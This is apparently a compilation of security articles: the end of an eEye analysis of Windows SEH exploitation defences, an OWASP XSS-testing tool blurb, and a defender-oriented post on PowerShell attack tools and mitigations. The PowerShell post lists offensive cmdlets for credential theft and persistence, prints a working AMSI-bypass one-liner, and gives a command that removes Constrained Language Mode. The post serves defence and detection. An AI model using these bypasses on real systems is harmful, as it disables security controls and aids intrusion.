in non-module space which are on eXecutable pages – it would probably be more
secure to deny this by default, and let applications which need to generate
exception handlers at runtime override the default setting during compilation.  
  
**What about \_\_except\_handler3?**  
  
The next attack that springs to mind, if we can't just jump to our own code by
using the handler pointer, is to attack the exception handling process itself.
For Visual C++ compiled apps \(which obviously covers all the Microsoft system
components\) most of the SEH work is performed by \_\_except\_handler3. In
fact, the exception handler pointer in every EXCEPTION\_REGISTRATION on the
stack normally points to \_\_except\_handler3, which then sorts things out by
using additional information that is specific to the Visual C++ implementation
of SEH.  
  
That extra information is stored in an array of scopetable entries, and the
current try level is used as an index to the array. The scopetable array is,
unfortunately, not stored on the stack, so we can't attack it directly. Here
is the general structure of the scopetable array entries:  
  

>
[code]

>     typedef struct _SCOPETABLE  
>     >  {  
>     >      DWORD       previousTryLevel;  
>     >      DWORD       lpfnFilter  
>     >      DWORD       lpfnHandler  
>     >  } SCOPETABLE, *PSCOPETABLE;
>  
[/code]

  
Again, I strongly recommend that you read this next part after understanding
Pietrek's SEH article. During the handling process, \_\_except\_handler3 will
ask each handler that has an EXCEPTION\_REGISTRATION structure on the stack
whether or not it is prepared to handle the exception. This is done by calling
the handler's filter function which expected to return
EXCEPTION\_EXECUTE\_HANDLER if it agrees to handle the exception or
EXCEPTION\_CONTINUE\_SEARCH if it won't. In pseudo code that call to the
filter function looks like this \(again, taken from Pietrek's article\):  
  

>
[code]

>     [...]  
>     > search_for_handler:  
>     >  
>     > if ( pRegistrationFrame->trylevel != TRYLEVEL_NONE )  
>     > {  
>     >       if ( pRegistrationFrame->scopetable[trylevel].lpfnFilter )  
>     >     {  
>     >                // Save this frame EBP  
>     >           PUSH EBP  
>     >  
>     >          // Switch to original EBP  
>     >         EBP = &pRegistrationFrame->_ebp  
>     >  
>     >            // Call the filter function  
>     >               // Maybe we can own this?  
>     >         filterFuncRet = scopetable[trylevel].lpfnFilter();  
>     >  
>     >         // Restore handler frame EBP  
>     >              POP EBP  
>     >           [...]
>  
[/code]

  
Looking again at Litchfield's article on 2003 SP0, he mentions abusing an
"existing registered handler" at 0x77F45A34. Although it is not mentioned,
that handler is none other than \_\_except\_handler3 in NTDLL.DLL, and this is
the relevant disassembly representing the code above.  
  

>
[code]

>     [...]  
>     > .text:77F45A3F        mov     ebx,[ebp+arg_4]         //
> &pRegistrationFrame  
>     > [...]  
>     > .text:77F45A61     mov     esi,[ebx+0Ch]   // trylevel  
>     > .text:77F45A64        mov     edi,[ebx+8]     // scopetable  
>     > [...]  
>     > .text:77F45A75  lea     ecx,[esi+esi*2]  
>     > .text:77F45A78    mov     eax,[edi+ecx*4+4]  
>     > // scopetable[trylevel].lpfnFilter() -> EAX  
>     > [...]  
>     > .text:77F45A81        push    ebp             // save EBP  
>     > .text:77F45A82        lea     ebp,[ebx+10h]   // original frame EBP  
>     > [...]  
>     > .text:77F45A8F  call    eax
>  
[/code]

  
So, given that we own everything on the stack, including &pRegistrationFrame,
we can obviously use this to take control. The general method would be to
supply bogus values for the scopetable pointer and trylevel, so that
scopetable\[trylevel\].lpfnFilter\(\) points to our payload, which
\_\_except\_handler3 will call for us. Another idea would be to preserve the
original frame EBP at EBX+16h \(we control the stack at that location\) and
replace the filter function with the location of non-stack-based trampoline
code like CALL EBP, PUSH EBP // RET, etc. This approach would have much the
same effect, but might be useful for evading certain protection mechanisms.  
  
Unfortunately for attackers, they fixed this area too.  
  
The disassembly above was NTDLL.DLL from Windows 2003 SP0. In 2003 SP1 a new
function has been added, called \_\_ValidateEH3RN. This new function is pretty
huge, there wasn't the time or the need to completely reverse engineer it.
However here are some highlights that jumped out:

  1. A check to ensure that the scopetable array is not on the stack and that it is 4-byte aligned.
  2.   

  3. A sanity check on the array, made by walking the array from scopetable\[0\] to scopetable\[trylevel\]. This would make it very difficult to use the real scopetable array with a bogus trylevel to reference an lpfnFilter address which is out of array bounds.
  4.   

  5. Nested handlers are also sanity checked in step 2, above, which effectively means that any existing code to be used as a fake scopetable entry would need to have previousTryLevel set to -1, ie 0xFFFFFFFF preceding the payload address.
  6.   

  7. An NtQueryVirtualMemory check on the scopetable against MEM\_IMAGE and READONLY.
  8.   

  9. A lot of other code, which is probably some kind of check against the lpfnFilter pointer itself.

This puts paid to the obvious attempts to abuse \_\_except\_handler3, although
a complete analysis may yet turn up an exploitable scenario. For the time
being, none of the "simple" attacks seem possible.  
  
**The Bottom Line**  
  
Overall, the new RtlIsValidHandler is a vast improvement over the old one, and
closes the most egregious holes, so it seems very unlikely that control can be
directly dispatched to a payload using "raw" exception handling. It may still
be possible to find suitable trampoline code in a 3rd party DLL that does not
have an SEH registration structure, but this would depend heavily on the
individual application being attacked.  
  
Attacking the Visual C++ SEH implementation via \_\_except\_handler3 is
similarly unlikely, thanks to the new C++ runtime library function,
\_\_ValidateEH3RN. The SEH implementations of other compilers may still be
vulnerable, however.  
  
There will always be a few corner cases, 3rd party applications that opt-out
of DEP and application specific errors, of course. The good news, though, is
that in conjunction with the stack cookie implementation this new protection
seems to eliminate every currently known, application-generic attack templates
for Windows stack overflows - which is good news.  
  
At the time of writing, virtually none of this new functionality had been
publicized. Hopefully, bringing the full extent of this new protection to
light will encourage organizations to accelerate their shift to Windows XP SP2
or Windows 2003 SP1, even on platforms without hardware NX support.  
  
**References**  

  1. B. Nagy,  _Generic Anti-Exploitation Technology for Windows_ , 2005, available online at http://www.eeye.com/html/research/whitepapers/index.html
  2.   

  3. D. Litchfield,  _Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server_ , 2003, http://www.nextgenss.com/papers/defeating-w2k3-stack-protection.pdf
  4.   

  5. M. Pietrek,  _A Crash Course on the Depths of Win32™ Structured Exception Handling_ , in Microsoft Systems Journal, January 1997, online at http://www.microsoft.com/msj/0197/exception/exception.aspx

  
**Acknowledgements**  
Derek Soeder and his Bit-Fu helped in countless ways, including some of the C
conversion. I was spurred on by the efforts of a blogger in China called "nop"
who reversed some of the same areas of code, but didn't get right to the
bottom of it. Thank you to Robert Ross who gave me a great suggestion as well.

Source: Ben Nagy, Senior Security Engineer, eEye Digital Security

ASK RESEARCH

Q: IS SILENTLY FIXING SECURITY ISSUES MADE AVAILABLE DURING REGULAR SOFTWARE
UPDATES COMMON PRACTICE AMONGST SOFTWARE VENDORS?  
A: Yes. Although recent speaking engagements by members of the eEye Research
Team have focused on Microsoft patches, it has been observed that most
software vendors will fix security issues during regular updates. The list of
corrections published by the vendor will not mention the security fixes, so
only by dissecting the actions of the patch can one tell that something was
changed. Look for the slides from the eEye Research presentation "Skeletons in
Microsoft's Closet: Silently Fixed Vulnerabilities" on the eEye Research
Portal \(research.eeye.com\) in the near future.  
  
Q: WE NOTICED THAT IN YOUR D-LINK SECURITY ADVISORY THAT YOU LISTED ALL THE
PATCHED MODELS OF D-LINK ROUTERS, BUT D-LINK SUPPORT DOES NOT HAVE ALL THE
PATCHES AVAILABLE. WHAT GIVES?  
A: When eEye releases an advisory, we are dependent on the vendors informing
us of their patches being released to the public. In this case, on the date we
released the advisory, all of the listed models did in fact have a patch. If
those patches have been removed for whatever reason, not all vendors will
notify the author of the advisory. In this case, we suggest that you contact
D-Link support for clarification on what patches are available and when
patches for certain models will be re-released.  
  

Have a question you would like answered? Send it to vice@eEye.com, and win an
eEye t-shirt if we select your question for an upcoming newsletter.

ETCETERA

DON'T BELIEVE EVERYTHING YOU READ

A recent article in Information Week discussed the fact that certain vendors
complaining about the results of Anti-Spyware tests conducted by Consumer
Reports. Vendors called the tests "bogus and useless", while Consumer Reports
defended its actions by stating that the best way to test is by using "novel
threats not identified on signature lists". More

CALL 1-800-0WN3D

It was reported recently that approximately 19,000 AT&T customers who ordered
DSL equipment online at the AT&T website had their personal information
compromised by an attacker. We're not sure what is more disturbing -- the fact
that we continually see data breaches like this, or the fact that this
incident being spun as not a big deal. Check out this uninformed quote from
the Detroit Free Press: "'Nineteen thousand customers is a drop in the bucket
for AT&T,' said Todd Rethemeier, an analyst at New York-based Soleil
Securities who has a 'hold' rating on the stock. 'It's bad for public
relations but not significant'". More

HOW TO SUBSCRIBE

To subscribe to this and other eEye newsletters, please visit:
http://www.eeye.com/html/resources/newsletters/subscribe.html  
  

FEEDBACK

The eEye newsletter staff welcomes any comments, questions or suggestions from
our readers. We hope that you will not hesitate to contact us with any
feedback you may have. Send all feedback to vice@eeye.com.  
  

DISCLAIMER

The information within this newsletter may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are NO
warranties with regard to this information. In no event shall the author be
liable for any damages whatsoever arising out of or in connection with the use
or spread of this information. Any use of this information is at the user's
own risk.  
  

NOTICE

Permission is hereby granted for the redistribution of this newsletter
electronically. It is not to be edited in any way without the express consent
of eEye. If you wish to reprint the whole or any part of this newsletter in
any other medium excluding electronic medium, please email vice@eeye.com for
permission.  

# OWASP Xelenium Project - OWASP

**Created:**| _7/29/2012 2:22:00 PM_  
---|---  
**Updated:**| _7/29/2012 2:22:00 PM_  
**Author:**| __  
**Tags:**| _OWASP web-app-sec software testing_  
  

# OWASP Xelenium Project

# Main

Hello Everyone,

Warm Greetings\!\!\! Welcome to the official page of 'OWASP Xelenium'
project\!\!\!

Xelenium is a security testing tool that can be used to identify the security
vulnerabilities present in the web application. Xelenium uses the open source
functional test automation tool 'Selenium' as its engine and has been built
using Java swing.

Xelenium has been designed considering that it should obtain very few inputs
from users in the process of discovering the bugs.

Current version of Xelenium can be found here:
http://sourceforge.net/projects/xeleniumsecurit/. Current version helps the
user in identifying the Cross Site Scripting \(XSS\) threats present in the
web application. In the subsequent versions, Xelenium will be enhanced such
that it could identify other leading threats.

Please refer the road map for future plans.

# PowerShell Security: PowerShell Attack Tools, Mitigation, & Detection »
Active Directory Security

**Created:**| _8/15/2016 3:38:40 PM_  
---|---  
**Updated:**| _8/15/2016 3:38:40 PM_  
**Author:**| __  
**Tags:**| __  
  

  

Aug 13

#  PowerShell Security: PowerShell Attack Tools, Mitigation, & Detection

Microsoft Security, PowerShell, Technical Reference

by Sean Metcalf

This post is a follow-up of sorts from my earlier posts on PowerShell, my
PowerShell presentation at BSides Baltimore, and my presentation at DEF CON
24.  
Hopefully this post provides current information on PowerShell usage for both
Blue and Red teams.

**Related posts:**

  * BSides Charm Presentation Posted: PowerShell Security: Defending the Enterprise from the Latest Attack Platform 
  * PowerShell Version 5 is Available for Download \(again\) 
  * Detecting Offensive PowerShell Attack Tools 
  * PowerShell Version 5 Security Enhancements 

### **The Evolution of PowerShell as an attack tool**

PowerShell is a built-in command shell available on every supported version of
Microsoft Windows \(Windows 7 / Windows 2008 R2 and newer\) and provides
incredible flexibility and functionality to manage Windows systems. This power
makes PowerShell an enticing tool for attackers. Once an attacker can get code
to run on a computer, they often invoke PowerShell code since it can be run in
memory where antivirus can’t see it. Attackers may also drop PowerShell script
files \(.ps1\) to disk, but since PowerShell can download code from a website
and run it in memory, that’s often not necessary.

<img src='img/Temp2_6323.jpg' width='450' height='268'
alt='PowerShellSecurity-PowerShell-I-Thought-This-Was-DOS' />

Dave Kennedy & Josh Kelley presented at DEF CON 18 \(2010\) on how PowerShell
could be leveraged by attackers. Matt Graeber developed PowerSploit and
blogged at Exploit-Monday.com on why PowerShell is a great attack platform.
Offensive PowerShell usage has been on the rise since the release of
“PowerSploit” in 2012, though it wasn’t until Mimikatz was PowerShell-enabled
\(aka Invoke-Mimikatz\) about a year later that PowerShell usage in attacks
became more prevalent. PowerShell provides tremendous capability since it can
run .Net code and execute dynamic code downloaded from another system \(or the
internet\) and execute it in memory without ever touching disk. These features
make PowerShell a preferred method for gaining and maintaining access to
systems since they can move around using PowerShell without being seen.
PowerShell Version 5 \(v5\) greatly improves the defensive posture of
PowerShell and when run on a Windows 10 system, PowerShell attack capability
is greatly reduced.

### **Attackers have options**

This post obviously covers how attackers can subvert the latest security
enhancements in PowerShell, including PowerShell v5.  
Keep in mind that attackers have options. PowerShell is one option, but
dropping a custom exe is another one.  
Options include:

  * Custom executables \(EXEs\)
  * Windows command tools
  * Remote Desktop
  * Sysinternal tools
  * Windows Scripting Host

  * VBScript
  * CScript
  * JavaScript
  * Batch files
  * PowerShell

### **PowerShell attack capability**

There are a number of reasons why attackers love PowerShell:

  * Run code in memory without touching disk.
  * Download & execute code from another system.
  * Interface with .Net & Windows APIs.
  * Built-in remoting.
  * CMD.exe is commonly blocked, though not PowerShell.
  * Most organizations are not watching PowerShell activity.
  * Many endpoint security products don’t have visibility into PowerShell activity.

PowerShell is often leveraged as part of client attack frequently invoked by
one of the following \(typically an Encoded Command \(bypasses exec. policy\).

Typical PowerShell run options

-WindowsStyle Hidden  
-NoProfile  
-ExecutionPolicy Bypass  
-File <FilePath>  
-Command <Command>  
-EncodedCommand <BASE64EncodedCommand>
### **Real World PowerShell Attack Tools**

#### **PowerSploit**

Description: A PowerShell Post-Exploitation Framework used in many PowerShell
attack tools.  
Use: Recon, privilege escalation, credential theft, persistence.  
Authors: Matt Graeber \(@Mattifestation\) & Chris Campbell \(@obscuresec\)

Popular cmdlets:

  * Invoke-DllInjection.ps1
  * Invoke-Shellcode.ps1
  * Invoke-WmiCommand.ps1
  * Get-GPPPassword.ps1
  * Get-Keystrokes.ps1
  * Get-TimedScreenshot.ps1
  * Get-VaultCredential.ps1

  * Invoke-CredentialInjection.ps1
  * Invoke-Mimikatz.ps1
  * Invoke-NinjaCopy.ps1
  * Invoke-TokenManipulation.ps1
  * Out-Minidump.ps1
  * VolumeShadowCopyTools.ps1
  * Invoke-ReflectivePEInjection.ps1

#### **Invoke-Mimikatz**

Capabilities: Mimikatz execution from PowerShell, Credential theft &
injection, Forged Kerberos ticket creation, Much more\!

Use: Credential theft & reuse, Persistence

Author: Joseph Bialek \(@clymb3r\)

<img src='img/Temp2_6330.jpg' width='651' height='457' />

#### **PowerView**

Description: Pure PowerShell domain/network situational awareness tool.  
Now part of PowerSploit.

Use: Recon

Author: Will Harmjoy \(@HarmJ0y\)

  * Get-NetUser
  * Get-NetGroup
  * Get-NetGroupMember
  * Get-NetLocalGroup
  * Get-NetSession
  * Invoke-UserHunter
  * Get-NetOU
  * Find-GPOLocation
  * Get-NetGPOGroup

  * Get-ObjectACL
  * Add-ObjectACL
  * Invoke-ACLScanner
  * Set-ADObject
  * Invoke-DowngradeAccount
  * Get-NetForest
  * Get-NetForestTrust
  * Get-NetForestDomain
  * Get-NetDomainTrust
  * Get-MapDomainTrust

<img src='img/Temp2_6319.jpg' width='1852' height='884' alt='AD-Recon-
PowerView-GetNetGPOGroup-01' />

#### **PowerUp**

Description: Identifies methods of local Privilege Escalation.  
Part of PowerShell Empire.

Use: Privilege Escalation

Author: Will Harmjoy \(@harmj0y\)

  * Get-ServiceUnquoted
  * Get-ServiceFilePermission
  * Get-ServicePermission
  * Invoke-ServiceAbuse
  * Install-ServiceBinary
  * Get-RegAutoLogon

  * Get-VulnAutoRun
  * Get-VulnSchTask
  * Get-UnattendedInstallFile
  * Get-WebConfig
  * Get-ApplicationHost
  * Get-RegAlwaysInstallElevated

#### **Nishang**

Description: PowerShell for penetration testing and offensive security.  
Use: Recon, Credential Theft, Privilege Escalation, Persistence  
Author: Nikhil Mitt \(@nikhil\_mitt\)

  * Get-Unconstrained
  * Add-RegBackdoor
  * Add-ScrnSaveBackdoor
  * Gupt-Backdoor
  * Invoke-ADSBackdoor
  * Enabled-DuplicateToken
  * Invoke-PsUaCme
  * Remove-Update
  * Check-VM
  * Copy-VSS
  * Get-Information
  * Get-LSASecret

  * Get-PassHashes
  * Invoke-Mimikatz
  * Show-TargetScreen
  * Port-Scan
  * Invoke-PoshRatHttp
  * Invoke-PowerShellTCP
  * Invoke-PowerShellWMI
  * Add-Exfiltration
  * Add-Persistence
  * Do-Exfiltration
  * Start-CaptureServer

#### **PowerShell Empire**

Current Version: 1.5 \(3/31/2016\)

<img src='img/Temp2_6331.jpg' width='472' height='294' alt='PowerShellEmpire-
Empire-Load-Screen-v1.5' />

Capabilities:

  * PowerShell based Remote Access Trojan \(RAT\).
  * Python server component \(Kali Linux\).
  * AES Encrypted C2 channel.
  * Dumps and tracks credentials in database.

Use: Integrated modules providing Initial Exploitation, Recon, Credential
Theft & Reuse, as well as Persistence.

Authors: Will Schroeder \(@harmj0y\) & Justin Warner \(@sixdub\) & Matt Nelson
\(@enigma0x3\)

Modules:

  * Code Execution
  * Collection
  * Credentials
  * Exfiltration
  * Exploitation
  * Lateral Movement
  * Management
  * Persistence
  * Privilege Escalation
  * Recon
  * Situational Awareness
  * Fun & Trollsploit

Cmdlets:

  * Invoke-DllInjection
  * Invoke-ReflectivePEInjection
  * Invoke-ShellCode
  * Get-ChromeDump
  * Get-ClipboardContents
  * Get-FoxDump
  * Get-IndexedItem
  * Get-Keystrokes
  * Get-Screenshot
  * Invoke-Inveigh
  * Invoke-NetRipper
  * Invoke-NinjaCopy
  * Out-Minidump
  * Invoke-EgressCheck
  * Invoke-PostExfil
  * Invoke-PSInject
  * Invoke-RunAs
  * MailRaider

  * New-HoneyHash
  * Set-MacAttribute
  * Get-VaultCredential
  * Invoke-DCSync
  * Invoke-Mimikatz
  * Invoke-PowerDump
  * Invoke-TokenManipulation
  * Exploit-Jboss
  * Invoke-ThunderStruck
  * Invoke-VoiceTroll
  * Set-Wallpaper
  * Invoke-InveighRelay
  * Invoke-PsExec
  * Invoke-SSHCommand

  * Get-SecurityPackages
  * Install-SSP
  * Invoke-BackdoorLNK
  * PowerBreach
  * Get-GPPPassword
  * Get-SiteListPassword
  * Get-System
  * Invoke-BypassUAC
  * Invoke-Tater
  * Invoke-WScriptBypassUAC
  * PowerUp
  * PowerView
  * Get-RickAstley

  * Find-Fruit
  * HTTP-Login
  * Find-TrustedDocuments
  * Get-ComputerDetails
  * Get-SystemDNSServer
  * Invoke-Paranoia
  * Invoke-WinEnum
  * Get-SPN
  * Invoke-ARPScan
  * Invoke-PortScan
  * Invoke-ReverseDNSLookup
  * Invoke-SMBScanner

### **Learning about Offensive PowerShell Tools**

Most of the best PS attack tools are in Empire, so download the PowerShell
Empire zip file & extract.  
Once extracted, review PS1 files in data\module\_source.

<img src='img/Temp2_6313.jpg' width='222' height='347' alt='PowerShell-Empire-
ZipFile-Contents-Module_Source' />

<img src='img/Temp2_6335.jpg' width='307' height='178' alt='PowerShell-Empire-
ZipFile-Contents-Module_Source-Credentials' /> <img src='img/Temp2_6322.jpg'
width='305' height='180' alt='PowerShell-Empire-ZipFile-Contents-
Module_Source-Persistence' />

### **PowerShell is more than PowerShell.exe**

Blocking access to PowerShell.exe is an “easy” way to stop PowerShell
capability, at least that’s how it seems. The reality is that PowerShell is
more than a single executable. PowerShell is a core component of Windows \(not
removable\) exists in the System.Management.Automation.dll dynamic linked
library file \(DLL\) and can host different runspaces which are effectively
PowerShell instances \(think PowerShell.exe & PowerShell\_ISE.exe\). A custom
PowerShell runspace can be instantiated via code, so PowerShell can be
executed through a custom coded executable \(such as MyPowershell.exe\). In
fact there are several current methods of running PowerShell code without
Powershell.exe being executed. Justin Warner \(@SixDub\) blogged about
bypassing PowerShell.exe on Red Team engagements in late 2014, aka
PowerPick\). Since PowerShell code can be executed without running
PowerShell.exe, blocking this executable is not an ideal solution to block
attacks \(and by “not an ideal solution” I mean this doesn’t stop PowerShell
from being executed, so no it doesn’t solve the problem\).

There are two sides to every argument. On the “Block PowerShell” side, there
is the positive result that initial attack code will not execute since
PowerShell is not allowed to run, with potential issues later on due to
Microsoft and/or 3rd party requirements for PowerShell. Often an organization
will “block” access to PowerShell.exe to stop the initial attack. There are
side-effects to this, including potentially reduced management capability.  
On the “Don’t Block PowerShell” side, there are other ways to limit an
attacker’s PowerShell capability without blocking PowerShell from running.
Configuring PowerShell protection/limitation via AppLocker is worth
investigating \(and testing\) as well as setting Powershell to constrained
language mode. For more on this, review the later section on “Limiting
PowerShell Capability.”

  * PowerShell = System.Management.Automation.dll
  * Applications can run PowerShell code
  * “PowerShell ps = PowerShell.Create\(\)”
  * Ben Ten’s AwesomerShell  
https://github.com/Ben0xA/AwesomerShell

### **Executing PowerShell commands without PowerShell.exe  
**

Starting with PowerShell v2:

_“Provides methods that are used to create a pipeline of commands and invoke
those commands either synchronously or asynchronously within a runspace. This
class also provides access to the output streams that contain data that is
generated when the commands are invoked. This class is primarily intended for
host applications that programmatically use Windows PowerShell to perform
tasks. This class is introduced in Windows PowerShell 2.0″._

  * Create C\# application that references Powershell System.Automation.dll assembly.
  * Leverage Automation assembly’s functions to execute PowerShell Code.
  * Similar to how PowerShell.exe works.

Unmanaged PowerShell by Lee Christensen \(@tifkin\_\) is the foundation for
most PowerShell attack tools running outside of powershell.exe. It starts up
.NET & performs in-memory loading of a custom C\# assembly that executes
PowerShell from an unmanaged process.  
The Metasploit PowerShell module leverages unmanaged PowerShell since March
2016.

Another PowerShell project that leverages unmanaged PowerShell is
**P0wnedShell** a “PowerShell Runspace Post Exploitation Toolkit”. It runs
PowerShell commands and functions within a powershell runspace environment
\(.NET\) and includes many PowerShell attack tools, including those from
PowerSploit, Nishang, PowerCat, Inveigh, etc all contained within a single
executable.

<img src='img/Temp2_6325.jpg' width='1631' height='870' />  
This project provides a simple ‘Order by Number’ for simple PowerShell attack
tool execution.  
I renamed it to “Calc.exe”, though I have never been able to get Calc to use
more than a few MB of RAM. When I run Mimikatz through it, “Calc” uses >
180MB. <img src='img/1f642.png' width='12' height='12' alt='🙂' />

### **PowerShell v5 Security Enhancements  
**

I cover these in a previous post. How about a quick refresher?

  * **Script block logging** – logs the PowerShell code actually executed by PowerShell. Without this enabled, obfuscated code is logged, making it far more difficult to create useful indicators.  
<img src='img/Temp2_6334.jpg' width='470' height='380'
alt='PowerShellv5-Security-ScriptBlockLogging-InvokeMimikatz-
PowerShellEvent-4104' />

  * **System-wide transcripts** – When enabled, a transcript file can be written to a write-only share for each PowerShell user per computer. If the share is offline, the computer will cache the file data until it’s back online.  
<img src='img/Temp2_6333.jpg' width='645' height='720'
alt='PowerShell-v5-Transcription-InvokeMimikatz-cropped' />

  * **Constrained PowerShell enforced with AppLocker** – When PowerShell v5 installed and AppLocker in Allow mode, PowerShell operates in constrained language mode which is a limited language mode preventing and Windows API access. For more on this, keep reading. <img src='img/1f642.png' width='12' height='12' alt='🙂' />  
<img src='img/Temp2_6309.jpg' width='900' height='262' alt='PowerShell-
Security-ConstrainedPowerShell-Enabled-AttackTools' />

  * The **Anti-Malware Scan Interface \(AMSI\)** in Windows 10 enables all script code to be scanned prior to execution by PowerShell and other Windows scripting engines. The Anti-Virus/Anti-Malware solution on the system must support AMSI for it to scan the code. The great benefit is that all code delivered to the PowerShell engine is scanned, even code injected into memory that was downloaded from the internet. As of mid-2016, only Microsoft Defender and AVG support AMSI.  
<img src='img/Temp2_6327.jpg' width='728' height='321'
alt='PowerShell-v5-Win10-AMSI-Graphic' />

There are also PowerShell cmdlets to interact with Defender to get status on
detected threats.

The first detection shows a detected threat in a couple of different files on
disk.

<img src='img/Temp2_6310.jpg' width='2655' height='827' alt='AMSI-
ThreatDetection-Report' />

The second detection shows a detected threat in
“PowerShell.exe\_10.0.1058.0000000000010”. Hmmm, that’s odd.  
It detected a threat in memory that was downloaded from the internet and
executed in memory. <img src='img/1f642.png' width='12' height='12' alt='🙂' />

<img src='img/Temp2_6314.jpg' width='2613' height='792' alt='AMSI-
ThreatDetection-Report-IEX-InvokeMimikatz-From-Web' />

There are issues with Windows 10’s AMSI, though Microsoft is making great
strides in providing visibility in an area traditionally missed by Anti-
Virus/Anti-Malware.

There are two primary methods of bypassing AMSI \(at least for now\):

  * Provide & use a custom amsi.dll and call that one from custom EXE.
  * Matt Graeber described how to use reflection to bypass AMSI  
\[Ref\].Assembly.GetType\(‘System.Management
.Automation.AmsiUtils’\).GetField\(‘amsiInitFailed’,’NonPublic,Static’\).SetValue\($null,$true\)

Though with the appropriate rights, one can simply disable AntiMalware though
there are logged events relating to this activity.

Sometimes, “malicious” PowerShell code gets through.

### <img src='img/Temp2_6312.jpg' width='650' height='440'
alt='Windows10-AMSI-Defender-Fail-InvokeMimikatz' />

### Limiting PowerShell Capability

It’s not difficult to find a variety of recommendations regarding how to lock
down PowerShell.  
These include:

  1. Remove PowerShell \(not possible\)
  2. Lock down PowerShell.exe \(not 100% effective since PowerShell.exe is not Powershell\)
  3. AppLocker control of PowerShell \(can be effective if deployed properly\)
  4. Constrained Language Mode

Since PowerShell is used for system management and logon scripts \(and more
and more for application management as with Exchange and DSC\), blocking
PowerShell isn’t realistic \(and again, not terribly effective\).

I prefer to configure PowerShell with Constrained language mode which locks
down PowerShell to the core elements \(no API or .NET access\).

#### **Limiting PowerShell Attack Capability with Constrained Language Mode  
**

Additionally, PowerShell supports various language modes that restrict what
PowerShell can do. The PowerShell Constrained Language Mode was developed to
support the Surface RT tablet device, though this mode is available in
PowerShell in standard Windows as well. Constrained language mode limits the
capability of PowerShell to base functionality removing advanced feature
support such as .Net & Windows API calls and COM access. The lack of this
advanced functionality stops most PowerShell attack tools since they rely on
these methods. The drawback to this approach is that in order to configured
PowerShell to run in constrained mode, an environment variable must be set,
either by running a command in PowerShell or via Group Policy.

Constrained language mode is a useful interim PowerShell security measure and
can mitigate many initial PowerShell attacks, though it is not a panacea. It
should be considered minor mitigation method on roadmap to whitelisting. Keep
in mind that bypassing Constrained PowerShell is possible and not all
PowerShell “attack scripts” will be blocked – certainly the ones that use
advanced functionality to reflectively load a DLL into memory like Invoke-
Mimikatz will be blocked.

Enable Constrained Language Mode:  
_\[Environment_ _\]::__SetEnvironmentVariable_ _\(‘\_\___PSLockdownPolicy_ _‘,
‘4’, ‘Machine_ _‘\)_

Enable via Group Policy:  
_Computer Configuration\Preferences\Windows Settings\Environment_

<img src='img/Temp2_6317.jpg' width='260' height='291' alt='PowerShell-
Security-ConstrainedPowerShell-GPO-EnvironmentalVariable' />

Once Constrained Language Mode is enabled, many PowerShell attack tools don’t
work since they rely on components blocked by constrained language.  
<img src='img/Temp2_6324.jpg' width='900' height='262' alt='PowerShell-
Security-ConstrainedPowerShell-Enabled-AttackTools' />

This environment variable can be modified by an attacker once they have gained
control of the system. Note that they would have to spawn a new PowerShell
instance to run code in full language mode after changing the environment.
These changes would be logged and could help the defender in identifying
unusual activity on the system.

Remove Constrained Language Mode:  
_Remove-Item_ _Env_ _:\\\_\___PSLockdownPolicy_

Check Language Mode:  
_$__ExecutionContext.SessionState.LanguageMode_

Enabling PowerShell Constrained Language mode is another method that can be
used to mitigate PowerShell attacks.

_**Pairing PowerShell v5 with AppLocker – Constrained Language Mode No Longer
Easily Bypassed.**_

PowerShell v5 also supports automatic lock-down when AppLocker is deployed in
“Allow” mode. Applocker Allow mode is true whitelisting and can prevent any
unauthorized binary from being executed. PowerShell v5 detects when Applocker
Allow mode is in effect and sets the PowerShell language to Constrained Mode,
severely limiting the attack surface on the system. With Applocker in Allow
mode and PowerShell running in Constrained Mode, it is not possible for an
attacker to change the PowerShell language mode to full in order to run attack
tools.When AppLocker is configured in “Allow Mode”, PowerShell reduces its
functionality to “Constrained Mode” for interactive input and user-authored
scripts. Constrained PowerShell only allows core PowerShell functionality and
prevents execution of the extended language features often used by offensive
PowerShell tools \(direct .NET scripting, invocation of Win32 APIs via the
Add-Type cmdlet, and interaction with COM objects\).

Note that scripts allowed by AppLocker policy such as enterprise signed code
or in a trusted directory are executed in full PowerShell mode and not the
Constrained PowerShell environment. This can’t be easily bypassed by an
attacker, even with admin rights.

<img src='img/Temp2_6329.jpg' width='718' height='248'
alt='PowerShellv5-Security-ConstrainedPowerShell' />

If you’re really daring, lock down systems that should never use PowerShell to
No Language Mods which means PowerShell is extremely limited.

> 
[code]

>     NO LANGUAGE (NoLanguage)
>         In NoLanguage language mode, users may run commands,
>         but they cannot use any language elements.
[/code]

About PowerShell Language Modes

#### **PS >Attack**

PS>Attack is a self contained custom PowerShell console which includes many
offensive PowerShell tools which calls PowerShell
\(System.Management.Automation.dll\) through .Net. The PowerShell attack tools
are encrypted \(AV evasion\) and decrypted to memory at run-time.

<img src='img/Temp2_6311.jpg' width='583' height='503' alt='PSAttack-
Startup-2' />

There’s also a custom build tool for ensuring every built exe is different
\(AV bypass\).

<img src='img/Temp2_6332.jpg' width='630' height='611' alt='PSAttack-
BuildTool' />

PS>Attack includes some of the most popular PowerShell attack tools:

  * Powersploit 
    * Invoke-Mimikatz
    * Get-GPPPassword
    * Invoke-NinjaCopy
    * Invoke-Shellcode
    * Invoke-WMICommand
    * VolumeShadowCopyTools
  * PowerTools
  * PowerUp
  * PowerView
  * Nishang
  * Powercat
  * Inveigh

While PS>Attack is simply one method that an attacker can leverage PowerShell
offensive tools without running PowerShell.exe, it is extremely effective.

Since PS>Attack is calling PowerShell from an exe, the executed PowerShell
code bypasses constrained language mode.

<img src='img/Temp2_6316.jpg' width='1440' height='1560' alt='PSAttack-
PowerShellConstrainedLanguageMode' />

PS>Attack PowerShell code runs in the earlier version of the PowerShell
engine, if available.  
This means that if a system has PowerShell v2 \(Windows 7 & Windows Server
2008 R2\), then any PowerShell code executed is not logged. Event if
PowerShell v5 is installed with system-wide transcript or script block
logging.

<img src='img/Temp2_6328.jpg' width='702' height='415' alt='PSAttack-
PowerShellv5-Win7-NoLogging-PowerShellOperationalLog' />

Windows 10 provides the ability to remove PowerShell v2.0 \(no, this doesn’t
remove PowerShell\).

<img src='img/Temp2_6318.jpg' width='431' height='378' alt='PSAttack-
Windows10-PowerShellv2-Removed' />

Once PowerShell v2 is removed from Windows 10, PS>Attack usage is clearly
logged.

<img src='img/Temp2_6320.jpg' width='570' height='664' alt='PSAttack-
PSv5-EventID-4100-BypassExecutionPolicy-02' />

### **Detecting custom EXEs calling PowerShell**

